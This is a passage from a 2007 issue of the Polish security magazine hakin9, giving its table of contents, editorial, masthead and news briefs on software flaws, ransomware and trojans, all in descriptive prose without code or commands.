background image
background image
background image
background image

4

www.hakin9.org

hakin9 Nr 10/2007

hakin9

5

www.hakin9.org

hakin9 Nr 2/2006

W skrócie

6

Mateusz Stępień

Przedstawiamy  garść  najciekawszych  wiadomości 

ze  świata  bezpieczeństwa  systemów  informatycz-

nych i nie tylko.

Zawartość CD

10

Prezentujemy zawartość i sposób działania najnowszej 

wersji naszej sztandarowej dystrybucji hakin9.live

Narzędzia

Recenzja MindMap 5 Professional

12

Recenzja Directory Opus 9

13

Początki

Ataki SQL Injection w praktyce

14

Dawid Gołuński

Dawid w swoim artykule mówi na czym polegają ataki 

SQL  Injection  oraz  jakie  niosą  zagrożenia.  Pokaże 

krok po kroku techniki używane podczas ataku oraz 

metody obrony.

Atak

Luki w VoIP

26

Tomasz  Piotrowski,  Szczepan  Wójcik,  Mikołaj  Wiśniewski,  Woj-

ciech Mazurczyk

Autorzy  przedstawią  w  jaki  sposób  zabezpieczyć 

systemy  VoIP,  na  co  zwracać  uwagę  przy  kupowa-

niu i wdrażaniu tych systemów oraz jakie luki bezpie-

czeństwa znajdują się w systemie Asterisk.

Atak hakera na Twój komputer

36

Bartosz Kalinowski

Bartek  w  swoim  artykule  scharakteryzuje  system, 

w  którym  można  dostrzec  obecność  intruza  i  jakie 

zostawia po sobie ślady.

Łamanie klucza rejestracji 

Windows XP

48

Rafał Podsiadły

Rafał opisał w swoim artykule jak zaczyna życie naj-

popularniejszy system operacyjny.

Witam!

Terminy hakercracker kojarzą się zwykłym ludziom raczej 

z pojęciem cyberprzestępcy, jednak bardziej wtajemniczeni 

wiedzą, że te dwa typy różnią się od siebie.

Jak zapewne Państwo wiedzą, hakerzy to osoby, które 

szukają  luk  w  oprogramowaniu  komputerowym,  a  później 

wykorzystują taką wiedzę, aby uzyskać dostęp do zabezpie-

czonych zasobów. Natomiast cracker to osoba zajmująca się 

łamaniem zabezpieczeń komputerowych. Hakerzy, skupie-

ni w społeczności hakerskiej, używają terminu  cracker dla 

odróżnienia się od przestępców; z kolei crackerzy terminu 

haker używają na określenie włamywaczy sieciowych.

Obie wspomniane grupy ludzi działają z różnych pobu-

dek.  Jedni  włamują  się  do  serwisów  komputerowych,  aby 

wykryć luki, a potem szantażują właścicieli portali. A drudzy 

pracują teraz dla firm takich jak TrendMicro i pomagają im 

stworzyć szczepionki przeciwko nowym zagrożeniom, jakie 

stawia przed nami Sieć. Motywem działań hakerów i cracke-

rów jest także chęć pozyskania rozgłosu i wywołania ogól-

nego chaosu.

Istnieje swoisty podział hakerów pod względem etyki: 

black  hat  (hakerzy  działający  na  pograniczu  lub  poza 

granicami  prawa),  white  hat  (hakerzy  działający  w  imię 

prawa, nie chcący popełnić szkód), grey hat (grupa znaj-

dująca się pomiędzy dwiema omawianymi wyżej katego-

riami).

My, jako Redakcja, mamy do czynienia ze wszystki-

mi omawianymi grupami hakerów, jednak cenimy tych z 

grupy  white  hat.  Nasi  Czytelnicy  bardzo  dobrze  zdają 

sobie  z  tego  sprawę.  Mieliśmy  wiele  ciekawych  artyku-

łów  poświęconych  wykrywaniu  luk  w  takich  portalach, 

jak Allegro, Onet czy mBank. Umieszczaliśmy je w celu 

tylko  i  wyłącznie  informacyjnym,  aby  uczulić  omawia-

ne  serwisy  na  opisane  zagrożenia.  Mam  nadzieję,  że 

zamieszczane przez nas artykuły pomogły już niejedne-

mu Czytelnikowi, dlatego chciałam gorąco polecić arty-

kuł Bartosza Kalinowskiego Obroń swój komputer przed 

hakerem!!! Bartek w swoim tekście pokazuje przeróżne 

zachowania  systemu  świadczące  o  obecności  hakera. 

Godnym przeczytania artykułem jest pozycja kilku auto-

rów pt. Luki w Voip. 

W październikowym hakin9 przedstawiamy wywiad z 

bardzo  interesującym  człowiekiem,  jakim  jest  komisarz 

Zbigniew  Urbański.  Z  rozmowy  nasi  Czytelnicy  dowie-

dzą  się  co  nieco  o  samym  bohaterze,  a  także  o  pirac-

twie  komputerowym  widzianym  okiem  policjanta  i  orga-

nów ścigania.

W  numerze,  który  mają  Państwo  w  rękach,  jak  zwykle 

nie zabraknie wielu ciekawych programów, na CD znajdują 

się m. in. G DATA Antivirus, F-Secure Internet Security oraz 

dwa nowe tutoriale.

 

 

 

Życzę przyjemnej lektury!

 

 

 

Katarzyna Juszczyńska

background image

4

www.hakin9.org

hakin9 Nr 10/2007

hakin9

5

www.hakin9.org

hakin9 Nr 2/2006

Obrona

Opera – mechanizmy ochrony 

przed oszustwami

56

Marcin Kopeć

Marcin  w  swoim  tekście  przedstawia  w  jaki  sposób 

działa  mechanizm  ochrony  przed  oszustwami  zaim-

plementowanymi w przeglądarce internetowej Opera.

Konfiguracja serwera ISS dla 

ASP.NET z protokołem SSL

62

Sławomir Orłowski, Jacek Matulewski

Sławek i Jacek przybliżą Czytelnikom temat konfigu-

racji serwera ISS do obsługi stron ASP.NET z uwie-

rzytelnieniem SSL.

Bezpieczna firma

Audyt systemów informatycznych

68

Wojciech Malec

Wojtek postara się wyjaśnić termin audytu informa-

tycznego oraz przedstawi najważniejsze organizacje 

zawodowe właściwe dla audytu informatycznego.

Księgozbiór

72

Recenzujemy książki: Kryptografia w Javie. Od pod-

staw oraz Apache. Zabezpieczenia aplikacji i serwe-

rów WWW.

Wywiad

Wywiad z komisarzem Zbigniewem 

Urbańskim

74

Katarzyna Juszczyńska, Robert Gontarski

Komisarz Zbigniew Urbański ekspert do spraw prze-

stępczości komputerowej.

Klub Techniczny

Trend Micro dla MSP

77

Felieton

Druga strona medalu

78

Patryk Krawaczyński

Zapowiedzi

82

Zapowiedzi artykułów, które znajdą się w następnym 

wydaniu naszego pisma.

jest wydawany przez Software–Wydawnictwo Sp. z o.o.
Dyrektor: 
Sylwia Pogroszewska

Redaktor naczelna: Martyna Żaczek 

martyna.zaczek@software.com.pl 

Redaktorzy prowadzący: Katarzyna Juszczyńska

katarzyna.juszczynska@software.com.pl

Robert Gontarski

 robert.gontarski@software.com.pl

Wyróżnieni betatesterzy: Przemysław Prytek, Paweł Lisowski

Opracowanie CD: Rafał Kwaśny

Kierownik produkcji: Marta Kurpiewska marta@software.com.pl

Skład i łamanie: Artur Wieczorek arturw@software.com.pl

Okładka: Agnieszka Marchocka

Dział reklamy: adv@software.com.pl

Prenumerata: Marzena Dmowska pren@software.com.pl

Adres korespondencyjny: Software–Wydawnictwo Sp. z o.o., 

ul. Bokserska 1, 02-682 Warszawa, Polska

Tel. +48 22 887 13 45, Fax +48 22 887 10 11

www.hakin9.org 

Osoby zainteresowane współpracą prosimy o kontakt: 

cooperation@software.com.pl

Jeżeli jesteś zainteresowany zakupem licencji na wydawanie naszych 

pism prosimy o kontakt:

Monika Nowicka

e-mail: monika.nowicka@software.com.pl

tel.: +48 (22) 887 12 66

fax: +48 (22) 887 10 11

Druk: 101 Studio, Firma Tęgi 

Redakcja dokłada wszelkich starań, by publikowane w piśmie i na 

towarzyszących mu nośnikach informacje i programy były poprawne, 

jednakże nie bierze odpowiedzialności za efekty wykorzystania ich; 

nie gwarantuje także poprawnego działania programów shareware, 

freeware i public domain.

Uszkodzone podczas wysyłki płyty wymienia redakcja.

Wszystkie znaki firmowe zawarte w piśmie są własnością odpowiednich 

firm i zostały użyte wyłącznie w celach informacyjnych.

Do tworzenia wykresów i diagramów wykorzystano 

program 

 firmy 

Płytę CD dołączoną do magazynu przetestowano programem AntiVirenKit 

firmy G DATA Software Sp. z o.o.

Redakcja używa systemu automatycznego składu 

UWAGA! 

Sprzedaż aktualnych lub archiwalnych numerów pisma w cenie innej 

niż wydrukowana na okładce – bez zgody wydawcy – jest działaniem 

na jego szkodę i skutkuje odpowiedzialnością sądową.

hakin9  ukazuje  się  w  następujących  krajach:  Hiszpanii,  Argentynie, 

Portugalii,  Francji,  Belgii,  Luksemburgu,  Kanadzie,  Maroko,  Niem-

czech, Austrii, Szwajcarii, Polsce, Czechach, Słowacji. 

Prowadzimy  również  sprzedaż  kioskową  w  innych  krajach  europej-

skich.

Magazyn hakin9 wydawany jest w 7 wersjach językowych:

PL

 

  ES 

   CZ             EN       

IT                FR            DE

Nakład wersji polskiej 6 000 egz.

UWAGA!

Techniki prezentowane w artykułach mogą być używane jedynie 
we własnych sieciach lokalnych.
Redakcja  nie  ponosi  odpowiedzialności  za  niewłaściwe  użycie 
prezentowanych technik ani spowodowaną tym utratę danych.

background image

W skrócie

hakin9 Nr 10/2007

www.hakin9.org

6

Mateusz Stępień

www.hakin9.org

7

hakin9 Nr 10/2007

Błąd w Xvid 1.1.2

W popularnym zestawie kode-

ków wideo Xvid 1.1.2 wykryto lukę, 

która umożliwia atakującemu cał-

kowite przejęcie kontroli nad ata-

kowanym komputerem. Gdy użyt-

kownik komputera uruchomi odpo-

wiednio spreparowany plik .AVI 

dochodzi do ataku za pomocą apli-

kacji, która odwołuje się do progra-

mu Xvid. Błąd występuje w pliku 

mbcoding.c w funkcjach get_intra_

block, get_inter_block_h263 oraz 

get_inter_block_mpeg. Podat-

ne są na niego zarówno aplikacje 

dla systemu Windows, jak i Linux. 

Xvid to kodek obrazu zgodny z ISO 

MPEG-4, wydany na licencji GNU 

GPL. Jego nazwa jest celowym 

anagramem nazwy kodeka DivX, 

który jest zamkniętą implementacją 

tego samego standardu.

Haker odcina dostęp 

do kont emailowych 

na UK2.net...

Domena internetowa UK2.net stała 

się celem ataku hakera, pozo-

stawiając tym samym internau-

tów czasowo odciętych od dostę-

pu do emaili. Internauci pojawia-

jący się na stronie 12 lipca ujrzeli 

przeobrażoną witrynę. Najwidocz-

niej była to sprawka islamskiego 

hakera. Wiele osób zwróciło się do 

nas w tej sprawie z informacjami, 

że nie są w stanie wejść na swoje 

konta – mówią pracownicy portalu. 

Doświadczenia czytelnika Andy’e-

go są typowe: UK2 była (dla mnie) 

nieosiągalna od godziny 6:00 tego 

ranka, gdy nie działał email przez 

POP3. Próbowałem jeszcze raz o 

12 w południe za pomocą POP3 i 

strony internetowej, ale bez rezul-

tatu, oba nie działały – jedyne co 

mogły mi zaoferować to zmienio-

ną stronkę. Wcześniej też miałem 

dużo problemów z UK2. Moje 

konta były niestabilne przez 3 tygo-

dnie pod koniec maja i na począt-

ku czerwca. Czasami działało, ale 

zazwyczaj odmawiało posłuszeń-

stwa. Firma oficjalnie ogłosiła, że w 

godzinach porannych we czwartek 

stała się ofiarą ataku hakerskiego. 

Atak uniemożliwił internautom wej-

ście na stronę UK2 i na skrzynkę 

emailową. UK.net na swoich stro-

nach napisał, że ta kwestia została 

już rozwiązana przez specjalistów. 

Pomimo tego, jak dodali, niektórzy 

użytkownicy mogli mieć problemy z 

dostępem do serwisu, dopóki DNS 

nie naniesie zmian.

Kaspersky Anti-Virus na liście 100 

najlepszych produktów IT 2007

K

aspersky  Lab,  producent  roz-
wiązań  służących  do  ochro-

ny  danych,  informuje  o  otrzyma-
niu wyjątkowego wyróżnienia: pro-
gram  Kaspersky  Anti-Virus  6.0 
znalazł  się  na  liście  100  najlep-
szych produktów IT 2007 opubliko-
wanej przez PC World. Amerykań-
ski magazyn PC World kolejny raz 
już  w  okresie  wakacyjnym  opubli-
kował listę 100 najlepszych, najno-
wocześniejszych  oraz  najbardziej 
docenionych  przez  konsumen-
tów  produktów  z  branży  informa-
tycznej i internetowej. Zestawienie 
obejmuje  wiele  różnorodnych  pro-
duktów  (sprzęt,  oprogramowanie, 
serwisy  oraz  usługi  internetowe). 
Na  55  miejscu  listy,  jako  jedyny 
komercyjny program antywirusowy 
uwzględniony  w  zestawieniu,  zna-
lazł się Kaspersky Anti-Virus. Pełna 
lista  dostępna  jest  pod  adresem: 
http://www.pcworld.com/article/
id,131935 -page,13 /ar ticle.html 
Kaspersky  Anti-Virus  to  program 

antywirusowy  firmy  Kaspersky 
Lab,  zapewniający  ochronę  przed 
zagrożeniami  płynącymi  z  sieci 
Internet  (wirusy,  robaki,  konie  tro-
jańskie, adware, spyware). Kasper-
sky Anti-Virus współpracuje z sys-
temami  Windows  98/Me/XP,  NT 
Workstation  oraz  Windows  2000 
Professional.

Fake stron Apple

S

pecjaliści  z  Sunbelt  odkryli 
nowego  trojana,  który  próbu-

je wyciągać pieniądze od użytkow-
ników  poprzez  fikcyjną  sprzedaż 
najnowszego  dziecka  koncernu 
Apple,  iPhone.  Eksperci  z  Sunbelt 
twierdzą,  że  trojan  mógł  powstać 
na 

zamówienie 

przestępców, 

a  w  dodatku  jest  słabo  wykrywal-
ny  przez  aplikacje  antywirusowe. 
Podczas odwiedzin google.com lub 
yahoo.com wirus pokazuje na ekra-
nie  okienka  popup,  które  zawiera-
ją  między  innymi  informację:  sup-
ported  by  Google
  oraz  supported 
by  Yahoo
.  Kliknięcie  w  reklamę  w 
zainfekowanym  systemie  kończy 
się  przekierowaniem  na  specjalnie 
przygotowaną wersję strony, gdzie 
internauta  może  wypełnić  formu-
larz  zamówienia  i  dokonać  prze-
lewu  gdzieś  do  banku  na  Łotwie 
zamiast  na  konta  Apple.  iPhone 
to  urządzenie  posiadające  funk-

cje  telefonu  komórkowego,  odtwa-
rzacza  MP3  (iPod)  i  komunikatora 
internetowego, jak nazwała tę funk-
cję Apple Inc. Nowatorskim rozwią-
zaniem  w  urządzeniu  była  rezy-
gnacja  z  jakiejkolwiek  klawiatu-
ry  –  zamiast  tego  iPhone  posiada 
ekran dotykowy, przy którym użyto 
technologię  o  nazwie  Multi-Touch
zamiast korzystać z rysika, wszyst-
ko  wciska  się  jednym  lub  kilko-
ma  palcami  dłoni.  iPhone  działa 
na  zoptymalizowanej  wersji  Mac 
OS  X.  System  zajmuje  około  700 
MB.  Bateria  w  iPhonie  nie  powin-
na  być  wymieniana  przez  użyt-
kownika. Według producenta, czas 
pracy  baterii  to:  do  24  godzin  słu-
chania muzyki, do 8 godzin rozmo-
wy,  do  7  godzin  oglądania  filmów, 
do  6  godzin  przeglądania  Interne-
tu,  bądź  do  250  godzin  czuwania, 
jednak czas ten zależy od różnych 
ustawień.

background image

W skrócie

hakin9 Nr 10/2007

www.hakin9.org

6

Mateusz Stępień

www.hakin9.org

7

hakin9 Nr 10/2007

iPhone częściowo złamany

Jon Lech Johansen, czyli sławny 

DVD Jon, złamał część zabez-

pieczeń nowego iPhone’a. Ujaw-

nił sposób aktywacji nowego tele-

fonu firmy Apple bez potrzeby wią-

zania się umową z jedynym w Sta-

nach Zjednoczonych autoryzowa-

nym dostawcą – AT&T. Jon napi-

sał specjalny program, który imituje 

zachowanie serwera odpowiadają-

cego za aktywację urządzeń przez 

firmę Apple. Kompletną instrukcję 

przeprowadzenia procesu aktywa-

cji i kod źródłowy programu zastę-

pującego serwer aktywujący tele-

fony można znaleźć w blogu DVD 

Jona. Jon Lech Johansen jest nor-

weskim programistą zaangażo-

wanym w rozkodowywanie syste-

mów zabezpieczeń. Jego ojciec 

jest Norwegiem, a matka – Polką. 

Uczestniczył w stworzeniu progra-

mu deszyfrującego zakodowane 

filmy DVD – DeCSS. Jon stworzył 

także zestaw otwartych sterow-

ników do odtwarzacza MP3 Jaz-

Piper (OpenJaz, 2001) i program 

QTFairUse do odczytywania zako-

dowanych strumieni AAC (2003). 

W 2004 r. dołączył do zespołu pro-

gramistów VideoLAN, dla które-

go opracował wtyczkę do odtwa-

rzania mediów zabezpieczonych 

systemem FairPlay oraz sposób 

odtwarzania materiałów zakodowa-

nych w WMV9. Zdołał też ominąć 

zabezpieczenia protokołu AirPort 

Express firmy Apple i algorytmu 

ochrony plików NSC z Windows 

Media Playera.

Początek ery 

petaflopsowych komputerów

E

lektroniczny gigant IBM zapre-
zentował najszybszy komputer 

świata  –  Blue  Gene/P.  który  jest 
sto tysięcy razy szybszy niż prze-
ciętny  komputer  biurowy.  Pręd-
kość  superkomputera  to  mniej 
więcej  jeden  petaflop  (1  petaflop 
=  1,000  teraflopów  =  1,000,000 
gigaflopów),  czyli  tysiąc  bilionów 
operacji  na  sekundę.  Taką  spraw-
ność zapewnia 294.912 rdzeni pro-
cesora  IBM  PowerPC  450,  z  któ-
rych każdy jest taktowany zegarem 
o  częstotliwości  850  MHz.  Cztery 
rdzenie  tworzą  jeden  procesor. 
System operacyjny superkompute-
ra  bazuje  na  Linuksie,  a  aplikacje 
można  tworzyć  w  standardowych 
językach  programowania,  takich 
jak Fortran, C czy C++. Za pierw-
szy superkomputer uznaje się CDC 

6600,  który  powstał  w  1963  roku 
według projektu i pod ścisłym nad-
zorem  Seymoura  Craya.  Maszyna 
wykonywała  3  miliony  operacji  na 
sekundę.  Był  to  pierwszy  kompu-
ter, w którym zastosowano tranzy-
story  krzemowe  oraz  nowatorską 
technikę  chłodzenia  podzespołów 
freonem.  Najpotężniejszą  maszy-
ną  w  Polsce  jest  klaster  HOLK. 
Komputer,  znajdujący  się  w  Cen-
trum  Informatycznym  Trójmiejskiej 
Akademickiej Sieci Komputerowej, 
został  zbudowany  w  2003  roku 
i  wówczas  znajdował  się  na  231 
pozycji  TOP500.  Maszyna  zarzą-
dzana  przez  system  GNU/Linux 
(dystrybucja Debian), której teore-
tyczna moc obliczeniowa sięga 1.5 
TFLOPS,  jest  wykorzystywana  do 
obliczeń naukowych.

Wirus – szantażysta

S

pecjaliści  z  Kaspersky  Lab 
wykryli  nową  odmianę  wirusa 

Gpcode,  który  szyfruje  pliki  na  dys-
kach  ofiar  i  żąda  okupu  w  wysoko-
ści  300  dolarów  za  przywrócenie 
do  nich  dostępu.  Robak  Virus.Wi-
n32.Gpcode
  do  szyfrowania  plików 
wykorzystuje złożony algorytm infor-
mując  że  jest  to  RSA-4096,  co  nie 
jest  prawdą,  bo  jak  ustalili  eksper-
ci  z  Kaspersky  Lab  jest  to  algorytm 
RC4. Autorami wirusa najprawdopo-
dobniej są Rosjanie. Na zaatakowa-
nym  komputerze  wirus  umieszcza 
również  plik  o  nazwie  read_me.txt
w którym umieszczona jest taka oto 
informacja:

Hello,  your  files  are  encrypted 

with  RSA-4096  algorithm  (http://
en.wikipedia.org/wiki/RSA). You will 
need  at  least  few  years  to  decrypt 
these  files  without  our  software.  All 
your  private  information  for  last  3 
months  were  collected  and  sent  to 
us.  To  decrypt  your  files  you  need 
to  buy  our  software.  The  price  is 
$300.  To  buy  our  software  please 
contact  us  at:  xxxxxxx@xxxxx.com
 
and  provide  us  your  personal  code 
-xxxxxxxxx. After successful purcha-

se we will send your decrypting tool, 
and  your  private  information  will  be 
deleted  from  our  system.  If  you  will 
not contact us until 07/15/2007 your 
private  information  will  be  shared 
and  you  will  lost  all  your  data.  Gla-
morous team.

Witaj,  twoje  pliki  zostały  zaszy-

frowane  przy  użyciu  algorytmu 
RSA-4096  (http://en.wikipedia.org/
wiki/RSA)
.  Bez  naszego  oprogra-
mowania  odszyfrowanie  tych  plików 
zajmie  ci  przynajmniej  kilka  lat.  Od 
trzech  miesięcy  twoje  poufne  infor-
macje  były  gromadzone  i  wysyłane 
do nas. Aby odszyfrować swoje dane, 
musisz  kupić  nasze  oprogramowa-
nie. Jego cena to $300. W celu doko-
nania  zakupu  skontaktuj  się  z  nami 
pod  adresem  xxxxxxx@xxxxx.com  i 
załącz swój osobisty kod - xxxxxxxxx. 
Po  dokonaniu  zakupu,  prześlemy 
ci  narzędzie  deszyfrujące  a  twoje 
poufne  informacje  zostaną  skaso-
wane z naszego systemu. Jeżeli nie 
skontaktujesz się z nami do 15 lipca 
2007 twoje poufne informacje zosta-
ną  udostępnione  w  Internecie.  Gla-
morous team.

background image

W skrócie

hakin9 Nr 10/2007

www.hakin9.org

8

Mateusz Stępień

www.hakin9.org

9

hakin9 Nr 10/2007

IE7 podatny na spoofing

Firma Secunia poinformowała o 

wykrytej przez Michała Zalew-

skiego luce w przeglądarce 

Microsoftu – Internet Exlporer 7. 

Błąd występuje w metodzie docu-

ment.open() i pozwala na sfał-

szowanie źródłowego adresu IP 

nawet w przypadku, gdy ręcz-

nie wpiszemy adres nowej strony. 

(tzw. spoofing) Michał Zalew-

ski, stwierdził: lukę można wyko-

rzystać tylko wówczas, gdy jest 

uruchomiony JavaScript. Do tej 

pory Microsoft nie przygotował 

łatki na ten błąd, ewentualne-

go występowania luki nie spraw-

dzano w przeglądarce Inter-

net Explorer 6. Internet Explo-

rer w wersji Windows, rozwijany 

jest na bazie kodu Mosaic zaku-

pionego od firmy Spyglass. Pro-

gram został oficjalnie zaprezento-

wany 23 sierpnia 1995 roku. Naj-

ważniejsze nowości w wersji IE 

7: przeglądanie stron w kartach, 

narzędzia wykorzystujące RSS i 

Atom, obsługa przezroczystych 

grafik PNG, ulepszona architek-

tura, mająca lepiej chronić przed 

wirusami i robakami.

Włamanie na brytyjski 

serwis firmy Microsoft

Wykryto podatność na atak typu 

SQL Injection na brytyjskiej stro-

nie Microsoftu. Dziura umożliwia-

ła m. in. wyciągnięcie listy użyt-

kowników i ich zakodowanych 

haseł, a także modyfikowanie 

tabel. Podatność na atak wykry-

to na stronie przeznaczonej dla 

partnerów. Haker z Arabii Sau-

dyjskiej ukrywający się pod pseu-

donimem rEmOtEr umieścił w 

Internecie nagranie z włamania, 

które niestety jest już niedostęp-

ne. Po bardziej wnikliwej analizie 

wykazano, że serwis jest również 

podatny na atak typu Cross Site 

Scripting. 

Atak typu SQL Injection polega 

na takiej manipulacji aplikacją 

komunikującą się z bazą danych, 

aby ta umożliwiła atakującemu 

uzyskanie dostępu lub modyfika-

cję danych, do których nie posia-

da on uprawnień. W praktyce 

polega to na wykorzystaniu inter-

fejsu użytkownika (adresu URL, 

formularza HTML/XML, okna dia-

logowego itp.) do wprowadzenia 

do aplikacji spreparowanego ciągu 

znaków.

Gadający koń trojański

Sieci  odkryto  nowego  nie-
zwykle  groźnego  i  złośliwego 

konia  trojańskiego  o  nazwie  BotVo-
ice.A.
  Szkodnik  jest  o  tyle  nietypo-
wy,  że  po  przeniknięciu  do  syste-
mu  niszczy  dane  znajdujące  się  na 
dysku twardym i informuje werbalnie 
użytkownika o szkodach, które spo-
wodował (wykorzystując w tym celu 
wbudowany do Windows syntezator 
mowy):  Zostałeś  zarażony.  Powta-
rzam,  zostałeś  zarażony,  a  twoje 
pliki systemowe zostały skasowane. 
Przykro mi. Miłego dnia i do widzenia. 
(You have been infected I repeat you 
have been infected and your system 
files have been deleted. Sorry. Have 
a nice day and bye bye
). BotVoice.A 
potrafi m. in. zablokować dostęp do 

plików  BAT,  COM,  EXE,  MP3  oraz 
do Menedżera Zadań i Edytora Reje-
stru. Szkodliwy kod atakuje systemy 
Windows  95  i  nowsze.  Nie  zagra-
ża natomiast Windows Vista. Trojan 
nie potrafi samodzielnie zainfekować 
komputera,  konieczna  jest  interak-
cja ze strony użytkownika. Rozprze-
strzenia  się  głównie  za  pośrednic-
twem wymiennych nośników danych 
lub  sieci  komputerowych.  BotVo-
ice.A
  wykryty  został  przez  specjali-
stów z firmy Panda Software. BotVo-
ice.A
 został stworzony tylko po to, by 
niszczyć  –  od  lat  nie  widziałem  tak 
doskonałego  przykładu  bezmyślne-
go  wandalizmu  –  komentuje  Roger 
Thompson, specjalista z firmy Explo-
it Prevention Labs.

Kolejnych 7 polskich studentów 

na praktykach w Redmond

M

icrosoft  poinformował,  że 
siedmiu studentów z polskich 

uczelni technicznych będzie repre-
zentować nasz kraj podczas tego-
rocznej  edycji  praktyk,  które  co 
roku odbywają się w centrali firmy 
Microsoft Corporation w Redmond. 
Do  tegorocznej  edycji  EMEA 
Internship  Program
  polskie  uczel-
nie zgłosiły 129 kandydatów, z któ-
rych wybrano siedmiu uczestników. 
Jeden z nich weźmie udział w pro-
gramie  po  raz  drugi.  Rozmowy  z 
kandydatami po raz kolejny odbyły 
się  w  Warszawie.  Jest  to  rezultat 
wysokiego poziomu reprezentowa-
nego  przez  studentów  pochodzą-
cych  z  Polski,  a  co  za  tym  idzie, 
dużej  liczby  potencjalnych  prak-
tykantów.  Praktyki  prowadzone 
przez  Microsoft  w  centrali  w  Red-
mond  pozwalają  studentom  na 
udział  w  rzeczywistych  projektach 
prowadzonych w korporacji, często 
kluczowych dla firmy oraz ważnych 
dla  branży  IT.  Udział  w  progra-
mie to dla większości uczestników 
także  pierwszy  krok  do  zdobycia 
zatrudnienia w firmie Microsoft. Po 
zakończeniu  stażu  studenci  mają 
rok  na  skończenie  studiów  oraz 
powrót do Redmond. Do tegorocz-

nej  edycji  EMEA  Internship  Pro-
gram
  zakwalifikowali  się  z  Polski: 
Sylwia  Kopczyńska,  Piotr  Kułaga, 
Łukasz  Tomczyk,  Paweł  Baszuro, 
Piotr Findeisen, Mike Kaczmarczyk 
oraz  Szymon  Wasik  z  Politechni-
ki  Poznańskiej,  Wyższej  Szkoły 
Informatyki  Stosowanej  i  Zarzą-
dzania  w  Warszawie,  Politechniki 
Częstochowskiej,  Wyższej  Infor-
matycznej  Szkoły  Zawodowej  w 
Gorzowie Wielkopolskim oraz Uni-
wersytetu Warszawskiego. „Udział 
w  programie  EMEA  Internship 
Microsoftu  jest  dla  mnie  dosko-
nałą  okazją  do  zdobycia  doświad-
czenia  w  międzynarodowej  korpo-
racji. Wyjazd ten pozwoli mi zoba-
czyć, jak wygląda praca w zespole 
zajmującym się dużymi projektami 
informatycznymi,  a  w  przyszłości 
–  mam  nadzieję  –  ułatwi  mi  rów-
nież  zdobycie  ciekawego  i  pełne-
go  wyzwań  zatrudnienia.  Jestem 
przekonany,  że  pobyt  w  kampu-
sie  Microsoft  w  Redmond  będzie 
jednocześnie  okazją  do  dobrej 
zabawy i poznania ciekawych ludzi 
z całego świata – powiedział Piotr 
Kułaga,  student  Wyższej  Szkoły 
Informatyki  Stosowanej  i  Zarzą-
dzania w Warszawie.

background image

W skrócie

hakin9 Nr 10/2007

www.hakin9.org

8

Mateusz Stępień

www.hakin9.org

9

hakin9 Nr 10/2007

Ruszyła internetowa 

aukcja exploitów

Jedna z firm szwajcarskich urucho-

miła stronę aukcyjną, na której wysta-

wiane na sprzedaż będą informacje 

o nowych lukach w oprogramowa-

niu. Witryna nosi nazwę WabiSabiLa-

bi i jej głównym celem jest nakłonie-

nie specjalistów, którzy znaleźli luki, 

by sprzedawali je firmom zaintereso-

wanym w ich załataniu, a nie cyber-

przestępcom. Zdecydowaliśmy się na 

uruchomienie serwisu umożliwiające-

go sprzedawanie wyników badań nad 

bezpieczeństwem, ponieważ wielu 

specjalistów odkrywa luki, ale niewie-

lu z nich informuje o tym odpowied-

nich ludzi. Naszym celem jest umoż-

liwienie im uzyskania uczciwej ceny 

za pracę i jednoczesne zapewnie-

nie, że nie będą musieli oddawać jej 

wyników za darmo ani sprzedawać 

cyberprzestępcom – mówi Herman 

Zampariolo, szef firmy. Pomysł szwaj-

carskiej firmy ma zarówno zwolen-

ników, jak i przeciwników. Do kryty-

kantów należy Gunter Ollman, dyrek-

tor IBM Internet Security Systems: 

To przypomina witryny, które istnie-

ją na czarnym rynku. Będziemy mieli 

do czynienia z tymi samymi ludźmi, 

którzy szukają dziur, by je sprze-

dać. To dla nich po prostu dodatkowy 

kanał dystrybucji. Korzystanie z serwi-

su będzie darmowe przez sześć mie-

sięcy, potem będą pobierane opłaty w 

wysokości 10% kwoty sprzedaży.

Nowa odmiana 

virusa Gpcode

W Sieci pojawiła się nowa odmia-

na wirusa Gpcode, która to po zara-

żeniu komputera użytkownika szyfru-

je pliki na dyskach. Wirus za odszyfro-

wanie domaga się zapłaty 300 dola-

rów i informuje, że używa algorytmu 

szyfrującego RSA-4096, co nie jest 

prawdą. Na dysku pojawia się także 

plik tekstowy read_me.txt w którym 

możemy przeczytać Hello, your files 

are encrypted with RSA-4096 algori-

thm (http://en.wikipedia.org/wiki/RSA). 

You will need at least few years to 

decrypt these files without our softwa-

re. All your private information for last 3 

months were collected and sent to us.

To decrypt your files you need to buy 

our software. The price is $300 (...) 

Specjaliści z firmy Kaspersky po ana-

lizach doszli do tego, że wykorzysty-

wany jest tu algorytm RC4. Najnow-

sze oprogramowanie firmy Kasper-

sky już radzi sobie z wirusem i odszy-

frowuje pliki. Najprawdopodobniej 

autorami wirusa są Rosjanie.

Dziurawy Adobe Flash Player 

i Photoshop

P

roducent oprogramowania mul-
timedialnego, firma Adobe Sys-

tems  wydała  poprawki  dla  swoich 
aplikacji: Flash Playera i Photosho-
pa  (CS2/CS3).  Poprawki  te  napra-
wiają  usterki  bezpieczeństwa,  któ-
rych  potencjalny  intruz  może  użyć 
do  wykonania  dowolnego  kodu.  W 
Adobe  Flash  Player  wykryto  luki, 
które  m.  in.  umożliwiają  napastni-
kowi zdalne przejęcie pełnej kontro-
li nad systemem. Podatności wystę-
pują  w  aplikacjach:  Adobe  Flash 
Player  w  wersji  9.0.45.0  i  wcze-
śniejszych,  Adobe  Flash  Player 
w  wersji  8.0.34.0  i  wcześniej-
szych, Adobe Flash Player w wersji 
7.0.69.0  i  wcześniejszych.  Zaktu-
alizowana  wersja  Flash  Playera 
9.0.47.0  jest  dostępna  (podobnie 
jak łatki dla wcześniejszych wydań 
odtwarzacza)  pod  adresem:  http://
www.adobe.com/go/getflashplayer

W  oprogramowaniu  Photoshop 
CS2  i  CS3  wykryto  błąd,  który 
pozwala  na  wstrzyknięcie  i  uru-
chomienie  dowolnego  kodu.  Istotą 
tego  błędu  jest  niepoprawne  prze-

twarzanie plików zapisanych w for-
matach PNG, DIB, RLE i BMP. Błąd 
w  Photoshopie  wykrył  specjalista 
ukrywający  się  pod  pseudonimem 
Marsu.  Adobe  Systems  to  amery-
kańska firma z siedzibą w San José 
w Kalifornii, znana z projektowania 
szeroko  rozumianego  oprogramo-
wania  graficznego  dla  systemów 
Mac  OS  i  Windows.  Przedsiębior-
stwo założyli w 1982 r. byli pracow-
nicy  Xerox  PARC,  John  Warnock  i 
Charles  Geschke.  Najważniejsze 
produkty  firmy  to:  Adobe  Acrobat, 
Adobe After Effects, Adobe Illustra-
